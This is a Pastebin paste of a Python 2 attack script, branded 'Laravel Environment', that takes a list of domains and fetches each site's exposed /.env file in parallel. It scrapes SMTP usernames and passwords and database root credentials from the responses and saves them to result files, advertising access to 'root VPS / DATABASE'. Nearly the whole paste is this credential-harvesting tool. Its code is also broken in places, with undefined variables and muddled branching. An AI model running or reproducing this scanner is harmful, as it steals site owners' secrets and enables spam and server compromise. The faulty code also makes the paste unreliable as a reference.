Advertisement
Guest User

try this

a guest
Apr 11th, 2019
180
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 9.86 KB | None | 0 0
  1. import threading
  2. import requests
  3. import random
  4. import datetime
  5. import re
  6. from multiprocessing import Pool
  7. from multiprocessing.dummy import Pool as ThreadPool
  8. from time import time as timer
  9.  
  10. class bcolors:
  11.     HEADER = '\033[95m'
  12.     OKBLUE = '\033[94m'
  13.     OKGREEN = '\033[92m'
  14.     WARNING = '\033[93m'
  15.     FAIL = '\033[91m'
  16.     ENDC = '\033[0m'
  17.     BOLD = '\033[1m'
  18.     WHITE = '\033[1;37m'
  19.  
  20. print bcolors.WHITE
  21. print"""\
  22.    __                                __ \
  23.   / /   ____ __________ __   _____  / / \
  24.  / /   / __ `/ ___/ __ `/ | / / _ \/ /  \
  25. / /___/ /_/ / /  / /_/ /| |/ /  __/ /___\
  26. /_____/\__,_/_/   \__,_/ |___/\___/_____/\
  27.                              Environment\
  28.                         -- ZeroByte.ID --"""
  29. print bcolors.FAIL + "[ * ] Get SMTP or Access root VPS / DATABASE [ * ]"
  30. print bcolors.ENDC
  31.  
  32. def kuy(lEnVy):
  33.     eNv = "http://{}/.env".format(lEnVy)
  34.     headers = {
  35.         'Connection': 'keep-alive',
  36.         'Cache-Control': 'max-age=0',
  37.         'Upgrade-Insecure-Requests': '1',
  38.         'User-Agent': 'Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36',
  39.         'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
  40.         'Accept-Encoding': 'gzip, deflate',
  41.         'Accept-Language': 'en-US,en;q=0.9,fr;q=0.8',
  42.     }
  43.  
  44.     rsmTP = requests.get(eNv, headers=headers, allow_redirects=True, timeout=3)
  45.     if "mailtrap.io" in rsmTP.text:
  46.         print("\033[1;31;40m")
  47.         print "[ - ] NOT FOUND SMTP [ - ] \n"
  48.  
  49.     elif rsmTP.status_code == 200:
  50.         if "APP_NAME" in rsmTP.text:
  51.             UEnVy.write(eNv + '\n')
  52.             print("\033[1;32;40m")
  53.  
  54.         if "MAIL_HOST" in rsmTP.text:
  55.             SMTP = re.findall('MAIL_HOST=(.*)', rsmTP.text)
  56.             PORT = re.findall('MAIL_PORT=(.*)', rsmTP.text)
  57.             USERNAME = re.findall('MAIL_USERNAME=(.*)', rsmTP.text)
  58.             PASSWORD = re.findall('MAIL_PASSWORD=(.*)', rsmTP.text)
  59.             NAME = re.findall('MAIL_FROM_NAME=(.*)', rsmTP.text)
  60.             ADRESSE = re.findall('MAIL_FROM_ADDRESS=(.*)', rsmTP.text)
  61.             MENCRYPTION = re.findall('MAIL_ENCRYPTION=(.*)', rsmTP.text)
  62.        
  63.         if "smtp.mailtrap.io" in SMTP:
  64.             print("\033[1;31;40m")
  65.             print "[ - ] NOT FOUND SMTP [ - ] \n"
  66.  
  67.     elif "localhost" in SMTP:
  68.         print("\033[1;31;40m")
  69.         print "[ - ] NOT FOUND SMTP [ - ] \n"
  70.  
  71.     elif "null" in SMTP:
  72.         print("\033[1;31;40m")
  73.         print "[ - ] NOT FOUND SMTP [ - ] \n"
  74.  
  75.     else:
  76.         print "[ + ] FOUND SMTP [ + ]"
  77.         print "\n= = = = = = = = = = = = = = = = = = = = = = = ="
  78.         print "SMTP HOST       => {}".format(SMTP[0])
  79.         print "SMTP PORT       => {}".format(PORT[0])
  80.         print "SMTP USERNAME   => {}".format(USERNAME[0])
  81.         print "SMTP PASSWORD   => {}".format(PASSWORD[0])
  82.         print "SMTP NAME       => {}".format(NAME[0])
  83.         print "SMTP EMAIL      => {}".format(EMAIL[0])
  84.         print "SMTP ENCRYPTION => {}".format(MENCRYPTION[0])
  85.         print "= = = = = = = = = = = = = = = = = = = = = = = ="
  86.         SEnVy.write('SMTP HOST : ' + SMTP[0] + '\nSMTP PORT : ' + PORT[0] + '\nSMTP USERNAME : ' + USERNAME[0] + '\nSMTP PASSWORD : ' + PASSWORD[0] + '\nSMTP NAME : ' + NAME[0] + '\nSMTP EMAIL : ' + EMAIL[0] + '\nSMTP ENCRYPTION : ' + MENCRIPTION[0] + '\n\n')
  87.    
  88.     if "SMTP_HOST" in rsmTP.text:
  89.         SMTP = re.findall('SMTP_HOST=(.*)', rsmTP.text)
  90.         PORT = re.findall('SMTP_PORT=(.*)', rsmTP.text)
  91.         USERNAME = re.findall('SMTP_USERNAME=(.*)', rsmTP.text)
  92.         PASSWORD = re.findall('SMTP_PASSWORD=(.*)', rsmTP.text)
  93.         NAME = re.findall('SMTP NAME=(.*)', rsmTP.text)
  94.         ADRESSE = re.findall('SMTP EMAIL=(.*)', rsmTP.text)
  95.         MENCRYPTION = re.findall('MAIL_ENCRYPTION=(.*)', rsmTP.text)
  96.  
  97.         if "smtp.mailtrap.io" in SMTP:
  98.             print("\033[1;31;40m")
  99.             print "[ - ] NOT FOUND SMTP [ - ] \n"
  100.  
  101.     elif "localhost" in SMTP:
  102.         print("\033[1;31;40m")
  103.         print "[ - ] NOT FOUND SMTP [ - ] \n"
  104.  
  105.     elif "null" in SMTP:
  106.         print("\033[1;31;40m")
  107.         print "[ - ] NOT FOUND SMTP [ - ] \n"
  108.  
  109.     else:
  110.         print "\n= = = = = = = = = = = = = = = = = = = = = = = ="
  111.         print "SMTP HOST       => {}".format(SMTP[0])
  112.         print "SMTP PORT       => {}".format(PORT[0])
  113.         print "SMTP USERNAME   => {}".format(USERNAME[0])
  114.         print "SMTP PASSWORD   => {}".format(PASSWORD[0])
  115.         print "SMTP NAME       => {}".format(NAME[0])
  116.         print "SMTP EMAIL       => {}".format(EMAIL[0])
  117.         print "SMTP ENCRYPTION => {}".format(MENCRYPTION[0])
  118.         print "= = = = = = = = = = = = = = = = = = = = = = = ="
  119.         SEnVy.write('SMTP HOST : ' + SMTP[0] + '\nSMTP PORT : ' + PORT[0] + '\nSMTP USERNAME : ' + USERNAME[0] + '\nSMTP PASSWORD : ' + PASSWORD[0] + '\nSMTP NAME : ' + NAME[0] + '\nSMTP EMAIL : ' + EMAIL[0] + '\nSMTP ENCRYPTION : ' + MENCRIPTION[0] + '\n\n')
  120.  
  121.     if "mailtrap.io" in rsmTP.text:
  122.         print("\033[1;31;40m")
  123.         print "[ - ] NOT FOUND SMTP [ - ] \n"
  124.  
  125.     elif "DB_USERNAME=root" in rsmTP.text:
  126.         ROOTU = re.findall('DB_USERNAME=(.*)', rsmTP.text)
  127.         ROOTP = re.findall('DB_PASSWORD=(.*)', rsmTP.text)
  128.         print bcolors.WARNING + "[ + ] Maybe you can get VPS / DATABASE [+]"
  129.         REnVy.write('HOSTS : ' + lEnVy + '\nUSERNAME : ' + ROOTU[0] + '\nPASSWORD : ' + ROOTP[0] + '\n\n')
  130.  
  131.     elif rsmTP.status_code == 302:
  132.         if "APP_NAME" in rsmTP.text:
  133.             UEnVy.write(eNv + '\n')
  134.  
  135.         if "MAIL_HOST" in rsmTP.text:
  136.             SMTP = re.findall('MAIL_HOST=(.*)', rsmTP.text)
  137.             PORT = re.findall('MAIL_PORT=(.*)', rsmTP.text)
  138.             USERNAME = re.findall('MAIL_USERNAME=(.*)', rsmTP.text)
  139.             PASSWORD = re.findall('MAIL_PASSWORD=(.*)', rsmTP.text)
  140.             NAME = re.findall('MAIL_FROM_NAME=(.*)', rsmTP.text)
  141.             ADRESSE = re.findall('MAIL_FROM_ADDRESS=(.*)', rsmTP.text)
  142.             MENCRYPTION = re.findall('MAIL_ENCRYPTION=(.*)', rsmTP.text)
  143.  
  144.         if "smtp.mailtrap.io" in SMTP:
  145.             print("\033[1;31;40m")
  146.             print "[ - ] NOT FOUND SMTP [ - ] \n"
  147.  
  148.     elif "localhost" in SMTP:
  149.         print("\033[1;31;40m")
  150.         print "[ - ] NOT FOUND SMTP [ - ] \n"
  151.  
  152.     elif "null" in SMTP:
  153.         print("\033[1;31;40m")
  154.         print "[ - ] NOT FOUND SMTP [ - ] \n"
  155.  
  156.     else:
  157.         print "[ + ] FOUND SMTP [ + ]"
  158.         print "\n= = = = = = = = = = = = = = = = = = = = = = = ="
  159.         print "SMTP HOST       => {}".format(SMTP[0])
  160.         print "SMTP PORT       => {}".format(PORT[0])
  161.         print "SMTP USERNAME   => {}".format(USERNAME[0])
  162.         print "SMTP PASSWORD   => {}".format(PASSWORD[0])  
  163.         print "SMTP NAME       => {}".format(NAME[0])
  164.         print "SMTP EMAIL       => {}".format(EMAIL[0])
  165.         print "SMTP ENCRYPTION => {}".format(MENCRYPTION[0])
  166.         print "= = = = = = = = = = = = = = = = = = = = = = = ="
  167.         SEnVy.write('SMTP HOST : ' + SMTP[0] + '\nSMTP PORT : ' + PORT[0] + '\nSMTP USERNAME : ' + USERNAME[0] + '\nSMTP PASSWORD : ' + PASSWORD[0] + '\nSMTP NAME : ' + NAME[0] + '\nSMTP EMAIL : ' + EMAIL[0] + '\nMENCRIPTION : ' + MENCRIPTION[0] + '\n\n')
  168.  
  169.     if "SMTP_HOST" in rsmTP.text:
  170.         SMTP = re.findall('SMTP_HOST=(.*)', rsmTP.text)
  171.         PORT = re.findall('SMTP_PORT=(.*)', rsmTP.text)
  172.         USERNAME = re.findall('SMTP_USERNAME=(.*)', rsmTP.text)
  173.         PASSWORD = re.findall('SMTP_PASSWORD=(.*)', rsmTP.text)
  174.         NAME = re.findall('SMTP NAME=(.*)', rsmTP.text)
  175.         ADRESSE = re.findall('SMTP EMAIL=(.*)', rsmTP.text)
  176.         MENCRYPTION = re.findall('MAIL_ENCRYPTION=(.*)', rsmTP.text)
  177.  
  178.         if "smtp.mailtrap.io" in SMTP:
  179.             print("\033[1;31;40m")
  180.             print "[ - ] NOT FOUND SMTP [ - ] \n"
  181.  
  182.     elif "localhost" in SMTP:
  183.         print("\033[1;31;40m")
  184.         print "[ - ] NOT FOUND SMTP [ - ] \n"
  185.  
  186.     elif "null" in SMTP:
  187.         print("\033[1;31;40m")
  188.         print "[ - ] NOT FOUND SMTP [ - ] \n"
  189.  
  190.     else:
  191.         print "[ + ] FOUND SMTP [ + ]"
  192.         print "\n= = = = = = = = = = = = = = = = = = = = = = = ="
  193.         print "SMTP HOST       => {}".format(SMTP[0])
  194.         print "SMTP PORT       => {}".format(PORT[0])
  195.         print "SMTP USERNAME   => {}".format(USERNAME[0])
  196.         print "SMTP PASSWORD   => {}".format(PASSWORD[0])  
  197.         print "SMTP NAME       => {}".format(NAME[0])
  198.         print "SMTP EMAIL       => {}".format(EMAIL[0])
  199.         print "SMTP ENCRYPTION => {}".format(MENCRYPTION[0])
  200.         print "= = = = = = = = = = = = = = = = = = = = = = = ="
  201.         SEnVy.write('SMTP HOST : ' + SMTP[0] + '\nSMTP PORT : ' + PORT[0] + '\nSMTP USERNAME : ' + USERNAME[0] + '\nSMTP PASSWORD : ' + PASSWORD[0] + '\nSMTP NAME : ' + NAME[0] + '\nSMTP EMAIL : ' + EMAIL[0] + '\nMENCRIPTION : ' + MENCRIPTION[0] + '\n\n')
  202.  
  203.     if "DB_USERNAME=root" in rsmTP.text:
  204.         ROOTU = re.findall('DB_USERNAME=(.*)', rsmTP.text)
  205.         ROOTP = re.findall('DB_PASSWORD=(.*)', rsmTP.text)
  206.         print bcolors.WARNING + "[ + ] Maybe you can get VPS / DATABASE [+]"
  207.         REnVy.write('HOSTS : ' + lEnVy + '\nUSERNAME : ' + ROOTU[0] + '\nPASSWORD : ' + ROOTP[0] + '\n\n')
  208.    
  209.     else:
  210.         print bcolors.FAIL + "[ - ] CAN'T FOUND BUG [ - ]"
  211.  
  212. def main():
  213.     start = timer()
  214.     pp = ThreadPool(6)
  215.     pr = pp.map(kuy, lEnVy)
  216.     print bcolors.ENDC
  217.     print('Time: ' + str(timer() - start) + ' seconds')
  218.     pr.join()
  219.  
  220. li = raw_input(" [ - ] Input your file domain list : ")
  221. lEnVy = open(li, "r").read().split()
  222. lEnVy.sort() # Sort (A - Z)
  223.  
  224. bNyak = len(list(lEnVy)) # Banyak line
  225.  
  226. print " [ + ] Total Domain : {} \n".format(bNyak)
  227. SEnVy = open("SMTP-Result.txt", 'w')
  228. REnVy = open("ROOT-Result.txt", 'w')
  229. UEnVy = open("ENV-URL-Result.txt", 'w')
  230. main()
  231. SEnVy.close()
  232. REnVy.close()
  233. UEnVy.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement